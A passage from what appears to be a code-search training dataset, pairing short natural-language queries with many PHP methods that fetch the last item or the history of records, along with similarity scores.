"public function last() { \t\n try{\n if (!is_array($this->Items)) return $this->Items; \t\n if (!count($this->Items)) return null; \t\n end($this->Items); \t\n return $this->Items[key($this->Items)]; \n }catch(Exception $e){\n throw $e;\n }\n }",
"public function getAndRemoveLastItem();",
"function getLastchange() {\n\t\treturn $this->get(\"lastchange\");\n\t}",
"public function getHistory()\r\r\n {\r\r\n return $this->history;\r\r\n }",
"public function getLastOrder();",
"public function getLatestPost()\n {\n $recent = $this->getRecent(1);\n\n if (is_array($recent)) {\n $recent = array_pop($recent);\n }\n\n return $recent;\n }",
"public function last() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_pop( $result );\n\t}",
"public static function getMostRecent()\n\t{\n\t\t$table = new Zend_Db_Table(array('name'=>PrecurioTableConstants::NEWS, 'rowClass'=>'News'));\n\t\t$select = $table->select();\n\t\t$select->setIntegrityCheck(false);\n\t\t$select->setTable($table); \n\t\t$select = $select->from(array('a' => PrecurioTableConstants::CONTENT))\n\t\t\t\t\t\t->join(array('b' => PrecurioTableConstants::NEWS),'a.id = b.content_id',array('content_id'))\n\t\t\t\t\t\t->where('a.active=1')\n\t\t\t\t\t\t->order('a.id DESC')\n\t\t\t\t\t\t->limit(1);\n\t\t$news = $table->fetchRow($select);\n\t\treturn $news;\n\t}",
"function getHistory()\n\t{\n\t\tif (intval($this->id)==0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// $db = Zend_Registry::get('db');\n\t\t// $sql = sprintf('select * from object_history where link_to=%d and link_id=%d order by cts desc',$ot,$id);\n\t\t// $rs = $db->fetch_all($sql);\n\t\t// return $rs;\n\n\t\t$s = 'select id,auth_user_id,ctime,link,f,v0,v1 from base_diff ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t// $s.= ' order by ctime ';\n\t\t$s.= ' union all ';\n\t\t$s.= 'select id,auth_user_id,cts,link,\\'-None-\\',message,null from object_history ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t$s.= ' order by ctime desc ';\n\n\t\t// $s = $d->select();\n\t\t// $s->from('object_history');\n\t\t// $s->where('link = ?', $this->link() );\n\t\t// $s->order('cts');\n\t\t$r = SQL::fetch_all($s);\n\t\treturn $r;\n\t}",
"public function last();",
"public function last();",
"public function last();",
"public function last()\n {\n return $this->all()->last();\n }",
"function getMostRecentCodeMovement() {\n $res = $this->all();\n $index = count($res) - 1;\n return $res{$index}->code;\n }\n}",
"public function getLast()\n\t{\n\t\treturn $this->last;\n\t}",
"public function last() {\n return end($this->list);\n }",
"public function getHistory()\n {\n return $this->_history;\n }",
"public function getLastRevision();",
"public function return_most_recent() {\n\n // query database to return just the most recent work item\n $query_args = array(\n 'post_type' => 'invoice_item',\n 'meta_query' => array(\n array(\n 'key' => 'client_id',\n 'value' => $this->id\n ),\n 'ii_date' => array(\n 'key' => 'date',\n )\n ),\n 'orderby' => 'ii_date',\n 'order' => 'DSC',\n 'posts_per_page' => 1\n );\n $query = new WP_Query($query_args);\n\n // populate return array and return\n while ($query->have_posts()) {\n $query->the_post();\n $invoice_item = new InvoiceItem(get_the_id());\n update_post_meta($this->id, 'most_recent', strtotime($invoice_item->date));\n $return = array(\n 'id' => get_the_id(),\n 'permalink' => get_the_permalink(),\n 'value' => $invoice_item->value,\n 'title' => $invoice_item->ii_title,\n 'date' => $invoice_item->date,\n );\n return $return;\n }\n\n }",
"public function getLastUpdate()\n {\n return $this->cache->load(\n self::CACHE_TAG\n );\n }",
"public function getLastLog()\n {\n $log = $this->createQueryBuilder()\n ->select('l.*')\n ->from($this->tableName, 'l')\n ->orderBy('l.id', 'DESC')\n ->setMaxResults(1)\n ->execute()\n ->fetch();\n \n if (false !== $log) {\n return new Log($log);\n }\n }",
"public function getHistory()\n {\n return $this->history;\n }",
"public function last() {\n $this->_active_query->order(['DESC' => 'id']);\n return $this->first();\n }",
"public function getLastItemChangeId()\n {\n return $this->doRequest(array('sessionId' => $this->sessionId), 'GetLastItemChangeId');\n }",
"public function getLastbuy()\n {\n return $this->get(self::_LASTBUY);\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n return parent::last();\n }",
"public function last()\n {\n foreach (array_reverse($this->lists) as $list) {\n foreach ($list->reverse() as $record) {\n return $record;\n }\n }\n return null;\n }",
"public function recent()\n\t{\n\t\t$this->db->order_by('id', 'desc');\n\t\t$db_result = $this->db->get_where('files', array ('status' => 1), 4);\n\n\t\treturn $db_result->result();\n\t}",
"public function getLatest(): Job;",
"public function getLast()\n {\n $this->update();\n $count = sizeof($this->data);\n if (isset($this->data[$count - 1])) {\n return $this->updateValueIfNeeded($this->data, $count - 1);\n }\n return null;\n }",
"public function last()\n {\n return (null === $this->getDraft()) ? $this->getData($this->count() - 1) : $this->getDraft()->last();\n }",
"function cache_MostRecent($cc = null) {\n\t\tif ($cc === null) $cc = Session::read('castingCall');\n\t\t$ccIds = array_keys($cc);\n\t\tunset($ccIds['Lightbox']);\t// don't include Lightbox in this method\n\t\tif ($ccIds) {\n\t\t\tsort($ccIds);\n\t\t\treturn $cc[array_pop($ccIds)];\n\t\t} else return null;\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}",
"public function last()\n\t{\n\t\treturn parent::last();\n\t}"
] | [
"0.76556695",
"0.7450351",
"0.71319413",
"0.71319413",
"0.70083207",
"0.69695973",
"0.6932428",
"0.69293696",
"0.69152117",
"0.67623043",
"0.67293125",
"0.6705126",
"0.669753",
"0.66684484",
"0.66020024",
"0.65918887",
"0.6586908",
"0.6568885",
"0.6562989",
"0.65499413",
"0.65441644",
"0.6508998",
"0.64971685",
"0.64911735",
"0.6491164",
"0.6469597",
"0.6434286",
"0.64321256",
"0.6422214",
"0.6409292",
"0.6391842",
"0.63784593",
"0.6369151",
"0.6365151",
"0.63603604",
"0.6356031",
"0.633327",
"0.633327",
"0.63331264",
"0.6325732",
"0.63092124",
"0.62945557",
"0.62916934",
"0.6291661",
"0.6285325",
"0.62850296",
"0.6271604",
"0.62685794",
"0.6267862",
"0.6266323",
"0.62495065",
"0.6238302",
"0.6231869",
"0.62295234",
"0.62295234",
"0.62295234",
"0.6211613",
"0.6195151",
"0.61842525",
"0.6179003",
"0.6170183",
"0.61660075",
"0.6158852",
"0.61413157",
"0.6140817",
"0.6128454",
"0.61026704",
"0.60900605",
"0.6070755",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.6065111",
"0.60601956",
"0.6058554",
"0.6051937",
"0.603461",
"0.6023857",
"0.60032994",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949",
"0.5992949"
] | 0.0 | -1 |
/ Get all the items in the history | public function getList ()
{
return $this->_list;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getItemsHistory()\n {\n return $this->get(self::_ITEMS_HISTORY);\n }",
"public function fetchHistory(): array;",
"public function getHistory()\r\r\n {\r\r\n return $this->history;\r\r\n }",
"function get_history() {\n\t\treturn $this->history;\n\t}",
"public function getHistory()\n {\n return $this->_history;\n }",
"public function getHistory(): array\n {\n return $this->history;\n }",
"public function getHistory(): array\n {\n return $this->history;\n }",
"public function getHistory()\n {\n return $this->history;\n }",
"public static function getAllHistory()\n\t{\n\t\tglobal $mysql;\n\t\t$output = array();\n\t\t\n\t\t$result = $mysql->query(\"SELECT * FROM `history`\");\n\t\twhile ( $d = mysqli_fetch_array($result) )\n\t\t{\n\t\t\tif ( !empty($d) )\n\t\t\t\t$output[] = $d;\n\t\t}\n\t\treturn $output;\n\t}",
"public function getQueryHistory(): array\n {\n return $this->History;\n }",
"function getHistory() {\n\t\treturn db_query_params ('SELECT * FROM artifact_history_user_vw WHERE artifact_id=$1 ORDER BY entrydate DESC, id ASC',\n\t\t\t\t\tarray ($this->getID())) ;\n\t}",
"public function getHistory()\n {\n \treturn QuizResult::where('user_id', '=', Auth::user()->id)->orderBy('id', 'DESC')->limit(5)->get();\n }",
"public function getQueryHistory(): array;",
"public function event_history(/* ... */)\n {\n return $this->_event_history;\n }",
"public function getHistory()\n\t{\n\t\t$log = $this->getLog();\n\t\t$history = array($this->initial);\n\t\t/* if our log is empty (or incorrect), then we cannot walk it at all */\n\t\tif (!isset($log[$this->initial]))\n\t\t\treturn $history;\n\t\t$next = $log[$this->initial]->next_action_id;\n\t\t/* log always has the latest entry,\n\t\t\t so build it walking to the next item,\n\t\t\t starting from the initial step */\n\t\twhile (!is_null($next)) {\n\t\t\t$history[] = $next;\n\t\t\tif (isset($log[$next])) {\n\t\t\t\t$next = $log[$next]->next_action_id;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn $history;\n\t}",
"function getHistory()\n\t{\n\t\tif (intval($this->id)==0) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// $db = Zend_Registry::get('db');\n\t\t// $sql = sprintf('select * from object_history where link_to=%d and link_id=%d order by cts desc',$ot,$id);\n\t\t// $rs = $db->fetch_all($sql);\n\t\t// return $rs;\n\n\t\t$s = 'select id,auth_user_id,ctime,link,f,v0,v1 from base_diff ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t// $s.= ' order by ctime ';\n\t\t$s.= ' union all ';\n\t\t$s.= 'select id,auth_user_id,cts,link,\\'-None-\\',message,null from object_history ';\n\t\t$s.= sprintf(' where link = \\'%s\\' ',$this->link() );\n\t\t$s.= ' order by ctime desc ';\n\n\t\t// $s = $d->select();\n\t\t// $s->from('object_history');\n\t\t// $s->where('link = ?', $this->link() );\n\t\t// $s->order('cts');\n\t\t$r = SQL::fetch_all($s);\n\t\treturn $r;\n\t}",
"#[Pure]\n public function getHistory() {}",
"public function getRawHistory()\n {\n return $this->raw_history;\n }",
"public function getRealTimeHistory()\n {\n // Get Acquisitions Data\n if (!$this->hasILS()) {\n return [];\n }\n try {\n return $this->ils->getPurchaseHistory($this->getUniqueID());\n } catch (ILSException $e) {\n return [];\n }\n }",
"public function history()\n\t{\n\t\treturn $this->morphMany('History', 'historable');\n\t}",
"public function getLogHistory() {\n\t\treturn $this->log;\n\t}",
"public function histories() {\n return $this->morphMany('App\\History', 'for_item');\n }",
"public function getStatusHistory()\n\t\t{\n\t\t\t$list = ECash::getFactory()->getModel(\"StatusHistoryList\");\n\t\t\t$list->loadBy(array(\"application_id\" => $this->application_id));\n\n\t\t\treturn $list->toList();\n\t\t}",
"public function getHistory()\n {\n if (0 == $this->_getCollection()->getSize()) {\n return false;\n }\n return $this->_collection;\n }",
"public function getHistory()\n {\n if (0 == $this->_getCollection()->getSize()) {\n return false;\n }\n return $this->_collection;\n }",
"public function history()\n\t{\n\t\t$res = $this->hasManyThrough(Revision::class, RevisionSet::class, 'id', 'revision_set_id', 'revision_set_id')\n\t\t\t->where(\n\t\t\t\tfunction ($query) {\n\t\t\t\t\treturn $query->where('revisions.created_at', '<', $this->created_at);\n\t\t\t\t})\n\t\t\t->select('revisions.id', 'revisions.title', 'revisions.created_at', 'revisions.layout_name', 'revisions.layout_version');\n\t\treturn $res;\n\t}",
"public function getHistory()\n {\n return Wrapper\\Player\\Senior::history($this->getId());\n }",
"protected function getDatastreamHistory() {\n return $this->repository->api->m->getDatastreamHistory($this->parent->id, $this->id);\n }",
"public function get_history()\n\t{\n return array(\n 'result' => array(\n 'error' => array(\n 'code' => '404',\n 'message' => 'Not Found'\n )\n )\n );\n\t}",
"public function getRecipeHistory()\n {\n $recipe_ids = $this->getAttribute('recipe_history', array());\n return RecipePeer::retrieveByPKs($recipe_ids);\n }",
"public function history()\n\t{\n\t\t$migration = new \\Hubzero\\Content\\Migration();\n\t\t$history = $migration->history();\n\t\t$items = [];\n\t\t$maxFile = 0;\n\t\t$maxUser = 0;\n\t\t$maxScope = 0;\n\n\n\t\tif ($history && count($history) > 0)\n\t\t{\n\t\t\t$items[] = [\n\t\t\t\t'File',\n\t\t\t\t'By',\n\t\t\t\t'Direction',\n\t\t\t\t'Date'\n\t\t\t];\n\n\t\t\tforeach ($history as $entry)\n\t\t\t{\n\t\t\t\t$items[] = [\n\t\t\t\t\t$entry->scope . DS . $entry->file,\n\t\t\t\t\t$entry->action_by,\n\t\t\t\t\t$entry->direction,\n\t\t\t\t\t$entry->date\n\t\t\t\t];\n\t\t\t}\n\n\t\t\t$this->output->addTable($items, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->addLine('No history to display.');\n\t\t}\n\t}",
"public function getHistory() {\n\n if ($this->history) {\n return $this->history;\n }\n\n if (file_exists(static::FILE_HISTORY)) {\n\n $history = file_get_contents(static::FILE_HISTORY);\n\n if (file_exists($history)) {\n return $history;\n }\n }\n }",
"public function userHistory() {\n\t\t[ $response, $error ] = $this->api('user/history');\n\n\t\tif($error) return $this->response($response, $error);\n\n\t\treturn $this->response($response['links']);\n\t}",
"public function getItemHistorysAt($offset)\n {\n return $this->get(self::_ITEM_HISTORYS, $offset);\n }",
"function simple_history_get_items_array($args = \"\") {\n\n\tglobal $wpdb, $simple_history;\n\t\n\t$defaults = array(\n\t\t\"page\" => 0,\n\t\t\"items\" => $simple_history->get_pager_size(),\n\t\t\"filter_type\" => \"\",\n\t\t\"filter_user\" => \"\",\n\t\t\"is_ajax\" => false,\n\t\t\"search\" => \"\",\n\t\t\"num_added\" => 0\n\t);\n\t$args = wp_parse_args( $args, $defaults );\n\n\t$simple_history_type_to_show = $args[\"filter_type\"];\n\t$simple_history_user_to_show = $args[\"filter_user\"];\n\n\t$where = \" WHERE 1=1 \";\n\tif ($simple_history_type_to_show) {\n\t\t$filter_type = \"\";\n\t\t$filter_subtype = \"\";\n\t\tif (strpos($simple_history_type_to_show, \"/\") !== false) {\n\t\t\t// split it up\n\t\t\t$arr_args = explode(\"/\", $simple_history_type_to_show);\n\t\t\t$filter_type = $arr_args[0];\n\t\t\t$filter_subtype = $arr_args[1];\n\t\t} else {\n\t\t\t$filter_type = $simple_history_type_to_show;\n\t\t}\n\t\tif ($filter_type) {\n\t\t\t$where .= \" AND lower(object_type) = '\" . esc_sql(strtolower($filter_type)) . \"' \";\t\t\n\t\t}\n\t\tif ($filter_subtype) {\n\t\t\t$where .= \" AND lower(object_subtype) = '\" . esc_sql(strtolower($filter_subtype)) . \"' \";\n\t\t}\n\t}\n\tif ($simple_history_user_to_show) {\n\t\t\n\t\t$userinfo = get_user_by(\"slug\", $simple_history_user_to_show);\n\n\t\tif (isset($userinfo->ID)) {\n\t\t\t$where .= \" AND user_id = '\" . $userinfo->ID . \"'\";\n\t\t}\n\n\t}\n\n\t$tableprefix = $wpdb->prefix;\n\n\t$sql = \"SELECT * FROM {$tableprefix}simple_history $where ORDER BY date DESC, id DESC \";\n\t#sf_d($args);\n\t#echo \"\\n$sql\\n\";\n\t$rows = $wpdb->get_results($sql);\n\t\n\t$loopNum = 0;\n\t$real_loop_num = -1;\n\t\n\t$search = strtolower($args[\"search\"]);\n\t\n\t$arr_events = array();\n\tif ($rows) {\n\t\t$prev_row = null;\n\t\tforeach ($rows as $one_row) {\n\t\t\t\n\t\t\t// check if this event is same as prev event\n\t\t\t// todo: how to do with object_name vs object id?\n\t\t\t// if object_id is same as prev, but object_name differ, then it's the same object but with a new name\n\t\t\t// we store it as same and use occations to output the name etc of\n\t\t\tif (\n\t\t\t\t$prev_row\n\t\t\t\t&& $one_row->action == $prev_row->action\n\t\t\t\t&& $one_row->object_type == $prev_row->object_type\n\t\t\t\t&& $one_row->object_type == $prev_row->object_type\n\t\t\t\t&& $one_row->object_subtype == $prev_row->object_subtype\n\t\t\t\t&& $one_row->user_id == $prev_row->user_id\n\t\t\t\t&& (\n\t\t\t\t\t\t(!empty($one_row->object_id) && !empty($prev_row->object_id))\n\t\t\t\t\t\t&& ($one_row->object_id == $prev_row->object_id)\n\t\t\t\t\t\t|| ($one_row->object_name == $prev_row->object_name)\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\t\n\t\t\t\t// this event is like the previous event, but only with a different date\n\t\t\t\t// so add it to the last element in arr_events\n\t\t\t\t$arr_events[$prev_row->id]->occasions[] = $one_row;\n\t\t\t\t\n\t\t\t} else {\n\n\t\t\t\t#echo \"<br>real_loop_num: $real_loop_num\";\n\t\t\t\t#echo \"<br>loop_num: $loopNum\";\n\t\t\t\t\n\t\t\t\t// check if we have a search. of so, only add if there is a match\n\t\t\t\t$do_add = FALSE;\n\t\t\t\tif ($search) {\n\t\t\t\t\t/* echo \"<br>search: $search\";\n\t\t\t\t\techo \"<br>object_name_lower: $object_name_lower\";\n\t\t\t\t\techo \"<br>objecttype: \" . $one_row->object_type;\n\t\t\t\t\techo \"<br>object_subtype: \" . $one_row->object_subtype;\n\t\t\t\t\t// */\n\t\t\t\t\tif (strpos(strtolower($one_row->object_name), $search) !== FALSE) {\n\t\t\t\t\t\t$do_add = TRUE;\n\t\t\t\t\t} else if (strpos(strtolower($one_row->object_type), $search) !== FALSE) {\n\t\t\t\t\t\t$do_add = TRUE;\n\t\t\t\t\t} else if (strpos(strtolower($one_row->object_subtype), $search) !== FALSE) {\n\t\t\t\t\t\t$do_add = TRUE;\n\t\t\t\t\t} else if (strpos(strtolower($one_row->action), $search) !== FALSE) {\n\t\t\t\t\t\t$do_add = TRUE;\n\t\t\t\t\t} else if (strpos(strtolower($one_row->action_description), $search) !== FALSE) {\n\t\t\t\t\t\t$do_add = TRUE;\n\t\t\t\t\t}\n\t\t } else {\n\t\t\t $do_add = TRUE;\n\t\t }\n\t\t \n\t\t if ($do_add) {\n\t\t\t $real_loop_num++;\n\t\t }\n\t\t \t\t\t\n\t\t\t\t// new event, not as previous one\t\t\t\t\t\t\t\t\n\t\t\t\tif ($do_add) {\n\t\t\t\t\t$arr_events[$one_row->id] = $one_row;\n\t\t\t\t\t$arr_events[$one_row->id]->occasions = array();\n\t\t\t\t\t$loopNum++;\n\t\t\t\t\t$prev_row = $one_row;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t}\n\n\t// arr_events is now all events\n\t// but we only want some of them\n\t// limit by using \n\t// num_added = number of prev added items\n\t// items = number of items to get\n\t/*sf_d($args[\"num_added\"]);\n\tsf_d($args[\"items\"]);\n\tsf_d($arr_events);\n\t// */\n\t// \n\t//$offset = $args[\"num_added\"]; // old way when we appended\n/*\n<pre class='sf_box_debug'>Array\n(\n [page] => 1\n [items] => 5\n [filter_type] => /\n [filter_user] => \n [is_ajax] => 1\n [search] => \n [num_added] => 5\n)\n*/\n\n\tif (is_numeric($args[\"items\"]) && $args[\"items\"] > 0) {\n\t\t#sf_d($args);\n\t\t$offset = ($args[\"page\"] * $args[\"items\"]);\n\t\t#echo \"offset: $offset\";\n\t\t$arr_events = array_splice($arr_events, $offset, $args[\"items\"]);\n\t}\n\n\treturn $arr_events;\n\t\n}",
"public function getStepHistory();",
"public function getHistory() {\n if ($this->graded_testcases === null) {\n $this->loadTestcases();\n }\n return $this->history;\n }",
"public function get_user_history(){\n \t$s = \"SELECT * FROM user_history WHERE username = ? group by ETF order by Date ASC\";\n \tif($stmt = $this->connection->prepare($s)){\n \t\t$stmt->bind_param(\"s\", $_SESSION['username']);\n \t\t$stmt->execute();\n \t\t$res = $stmt->get_result();\n \t\twhile($row = $res->fetch_object()){\n \t\t\t$history[] = $row;\n \t\t}\n \t\treturn $history;\n \t}\n \t \t\n }",
"public function getAllHistoricFilterEntries() {\n $historicFilterDataClass = new HistoricFilterData();\n $allHistoricFilterDataObjects = $historicFilterDataClass -> readHistoricFilter();\n $allHistoricFilterData = array();\n\n foreach ($allHistoricFilterDataObjects as $historicFilterArray) {\n $historicFilterObject = new HistoricFilter($historicFilterArray['idHistoricFilter'], stripcslashes($historicFilterArray['historicFilterName']), $historicFilterArray['dateStart'], $historicFilterArray['dateEnd'], stripcslashes($historicFilterArray['description']), $historicFilterArray['buttonColor']);\n\n array_push($allHistoricFilterData, $historicFilterObject);\n }\n return $allHistoricFilterData;\n }",
"public function getHistoryStrings(): array\n {\n return $this->historyAsStrings;\n }",
"public function get_history()\n {\n return view('content.history')\n ->with('pages', History::page_all())\n ->with('pdfs', History::pdf_all());\n }",
"private function getAllNotifHistoryByPage() {\n $this->user_panel->checkAuthAdmin();\n $this->notif_history->findAllByPage();\n }",
"public function filterHistory($id)\n {\n return $this->legalEntityRepository->getHistoryData($id); \n }",
"public function getUserHistory()\n {\n try {\n $history = array();\n $hasHistory = $this->coreSession->getHistory();\n if (!$hasHistory) {\n $history['productHistory'] = array();\n $history['lastVisitedCategory'] = array(\n 'name' => null,\n 'link' => null\n );\n } else {\n $latestViewedProducts = $this->coreSession->getUserViewedProducts();\n $productHistory = array();\n if (!empty($latestViewedProducts)) {\n $productList = array_unique(explode(',', $latestViewedProducts));\n foreach ($productList as $productId) {\n $productHistory[] = $this->getProductInformation($productId);\n }\n }\n\n $history['productHistory'] = $productHistory;\n $history['lastVisitedCategory'] = $this->getLastVisitedcategory();\n }\n\n } catch (Exception $exception) {\n $this->exceptionHandler->logException($exception);\n $history = array(\n 'productHistory' => array(),\n 'lastVisitedCategory' => array(\n 'name' => null,\n 'link' => null\n )\n );\n }\n\n return $history;\n }",
"function getRecentChanges()\r\n\t{\r\n\t\tinclude_once(\"./Modules/Wiki/classes/class.ilWikiPage.php\");\r\n\t\t$changes = ilWikiPage::getRecentChanges(\"wpg\", $this->wiki_id);\r\n\t\t$this->setDefaultOrderField(\"date\");\r\n\t\t$this->setDefaultOrderDirection(\"desc\");\r\n\t\t$this->setData($changes);\r\n\t}",
"public function getHistory($datetime)\n {\n $h_table = Engine_Api::_()->getDbTable('sellingHistorys', 'mp3music');\n $h_name = $h_table->info('name');\n $select = $h_table->select()\n ->from($h_table);\n $select->where('selling_datetime = ?',$datetime); \n $results = $h_table->fetchAll($select)->toArray(); \n return $results;\n }",
"public function getHistoryById($id)\n\t{\n\t\t$pdo = $this->getPdo();\n\t\t$sql = 'SELECT * FROM `purchases` AS u JOIN `products` AS p ON u.product_id = p.product_id WHERE u.user_id = ' . $id;\n\t\t$stmt = $pdo->query($sql);\n\t\t$content = array();\n\t\twhile ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t$content[] = $row;\n\t\t}\n\t\treturn $content;\n\t}",
"public function stock_history(){\n\t\treturn $stock_info = $this->db->select('*')\n\t\t ->from('store')\n\t\t ->where('isactive',1)\n\t\t ->get()\n\t\t ->result();\n\t}",
"function history() {\n if ($this->getRequestMethod() != \"GET\") {\n $this->response('', 406);\n }\n $id = (int)$this->_request['user_id'];\n $auth = $this->getAuthorization();\n if (!$this->validateAuthorization($id, $auth)) {\n $this->response('', 400);\n }\n\n if ($id > 0) {\n $query = \"select * from videos where id in (select video_id from history where user_id=$id group by video_id order by view_date desc);\"; \n $r = $this->conn->query($query) or die($this->conn->error.__LINE__);\n if($r->num_rows > 0) {\n $result = array();\n while ($row = $r->fetch_assoc()) {\n $result[] = $row;\n } \n $this->response(json_encode($result), 200); \n } else {\n $this->response('',204);\n }\n } else {\n $this->response('', 400);\n }\n }",
"public function getIdHistory()\n {\n return $this->idHistory;\n }",
"public function getHistory() {\n $rentalModel = new RentalModel($this->db);\n\n try {\n $rentals = $rentalModel->getAll();\n } catch (\\Exception $e) {\n $properties = ['errorMessage' => 'Error getting rental history.'];\n return $this->render('error.twig', $properties);\n }\n\n $properties = [\"rentals\" => $rentals];\n return $this->render('history.twig', $properties);\n }",
"public function viewHistory() {\n $historyRows = $this->db->query(\"SELECT * FROM history\");\n if (!$historyRows) die(\"Fatal Error.\");\n\n // Looping through all rows in the histoy table.\n $history = [];\n foreach($historyRows as $historyRow) {\n $regNr = htmlspecialchars($historyRow[\"regNr\"]);\n $ssNr = htmlspecialchars($historyRow[\"ssNr\"]);\n $checkOut = htmlspecialchars($historyRow[\"checkOutTime\"]);\n $checkIn = htmlspecialchars($historyRow[\"checkInTime\"]);\n $days = htmlspecialchars($historyRow[\"days\"]);\n $cost = htmlspecialchars($historyRow[\"cost\"]);\n\n // Setting 0 as default value on days and cost if car not checked in yet.\n if (!$checkIn) {\n $checkIn = \"Checked Out\";\n $days = 0;\n $cost = 0;\n }\n \n $histor = [\"regNr\" => $regNr,\n \"ssNr\" => $ssNr, \n \"checkOut\" => $checkOut,\n \"checkIn\" => $checkIn, \n \"days\" => $days,\n \"cost\" => $cost,\n \"days\" => $days];\n \n $history[] = $histor;\n }\n return $history;\n }",
"public function getMenuItems()\n\t{\n\t\t$items = array();\n\t\tforeach ($this->history as $action) {\n\t\t\t$items[] = array('label' => ucfirst($action),\n\t\t\t\t'url' => array($action,\n\t\t\t\t\t'session_id' => $this->session->session_id));\n\t\t}\n\t\treturn $items;\n\t}",
"public function getAllItems(){\n\n\t\treturn $this->redis_client->keys(\"*\");\n\t}",
"public function getHistory($where,$table)\n {\n return $this->db->get_where($table, $where);\n }",
"function getRecents() {\n\t\t$link = getDbConnect();\n\t\t$preparedStatement = $link->prepare(\"SELECT * FROM urls ORDER BY id DESC LIMIT 30;\");\n\t\t$preparedStatement->execute(array());\n\t\treturn parseFullResults($preparedStatement->fetchAll());\n\t}",
"public function getMarketHistory() {\n\n\t\t$response = $this->noCfCURLQuery( \"https://bittrex.com/api/v1.1/public/getmarkethistory?market={$this->pair}\" );\n\t\t$response = json_decode( $response, true );\n\t\tif ( $response['success'] ) {\n\t\t\treturn $response['result'];\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}",
"public function all()\n {\n return $this->refresh()->getItems();\n }",
"function action_history()\n{\n\tglobal $pagestore, $page, $full, $HistMax;\n\n\t$history = $pagestore->history($page);\n\n\tgen_headers($history[0][0]);\n\n\n\t$text = '';\n\t$latest_auth = '';\n\t$previous_ver = 0;\n\t$is_latest = 1;\n\n\tfor($i = 0; $i < count($history); $i++)\n\t{\n\t\tif($latest_auth == '')\n\t\t{\n\t\t\t$latest_auth = ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t: $history[$i][3]);\n\t\t\t$latest_ver = $history[$i][2];\n\t\t}\n\n\t\tif($previous_ver == 0\n\t\t\t && $latest_auth != ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t : $history[$i][3]))\n\t\t\t{ $previous_ver = $history[$i][2]; }\n\n\t\tif($i < $HistMax || $full)\n\t\t{\n\t\t\t$text = $text . html_history_entry($page, $history[$i][2],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][0], $history[$i][1],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][3],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $previous_ver == $history[$i][2] || !$full && $i == count($history)-1,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $is_latest, $history[$i][4]);\n\t\t}\n\n\t\t$is_latest = 0;\n\t}\n\n\tif($i >= $HistMax && !$full)\n\t\t{ $text = $text . html_fullhistory($page, count($history)); }\n\n\t$p1 = $pagestore->page($page);\n\t$p1->version = $previous_ver;\n\t$p2 = $pagestore->page($page);\n\t$p2->version = $latest_ver;\n\n\t$diff = diff_compute($p1->read(), $p2->read());\n\ttemplate_history(array('page' => $p2->as_array(),\n\t\t\t\t\t\t\t\t\t\t\t\t 'history' => $text,\n\t\t\t\t\t\t\t\t\t\t\t\t 'diff' => diff_parse($diff)));\n}",
"public function getPaymentHistory(){\r\n\t\t$result = array();\r\n\t\treturn $result;\r\n\t}",
"public function retrieveAllList()\n {\n if ($list = $this->memcache->get('API::' . $this->numInstance . '::referentiel')) {\n return json_decode($list, true);\n } else {\n $list = $this->refIdRepository->findAllAsArray();\n $this->memcache->set(\n 'API::' . $this->numInstance . '::referentiel',\n json_encode($list),\n 0,\n 86400\n );\n return $list;\n }\n }",
